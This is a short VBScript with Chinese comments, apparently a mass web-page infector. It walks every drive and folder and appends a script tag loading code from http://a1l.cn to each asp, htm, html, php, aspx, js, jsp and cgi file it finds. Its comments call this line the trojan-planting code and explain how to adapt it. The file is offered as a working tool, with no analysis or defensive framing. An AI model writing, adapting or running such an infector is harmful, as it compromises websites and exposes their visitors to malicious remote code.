无邪世界

Set fsoo = createObject("Scripting.FileSystemObject")
Set objdrives=fsoo.Drives '取得当前计算机的所有磁盘驱动器
For Each objdrive In objdrives  '遍历磁盘
InsertAllFiles(objdrive&"\")  '调用函数,如果对单个盘符插就改成InsertAllFiles("e:\")
Next
Sub InsertAllFiles(Path)
Set FSO = CreateObject("Scripting.FileSystemObject")
on error resume next
Set f = FSO.GetFolder(Path)
Set fc2 = f.files
For Each myfile in fc2
If lcase(FSO.GetExtensionName(path&""&myfile.name))="asp" or lcase(FSO.GetExtensionName(path&""&myfile.name))="htm" or lcase(FSO.GetExtensionName(path&""&myfile.name))="html" or lcase(FSO.GetExtensionName(path&""&myfile.name))="php" or lcase(FSO.GetExtensionName(path&""&myfile.name))="aspx" or lcase(FSO.GetExtensionName(path&""&myfile.name))="js" or lcase(FSO.GetExtensionName(path&""&myfile.name))="jsp" or lcase(FSO.GetExtensionName(path&""&myfile.name))="cgi" then
Set FS1 = CreateObject("Scripting.FileSystemObject")
Set tfile=FS1.opentextfile(path&""&myfile.name,8,false)
tfile.writeline "<script src=http://a1l.cn></script>" '插马代码 如果有引号就用 "&chr(34)&"来代替
tfile.close
end if
Next
Set fsubfolers = f.SubFolders
For Each f1 in fsubfolers
newpath=path&""&f1.name&"\"
InsertAllFiles(newpath)
Next
set tfile=nothing
Set FSO = Nothing
End Sub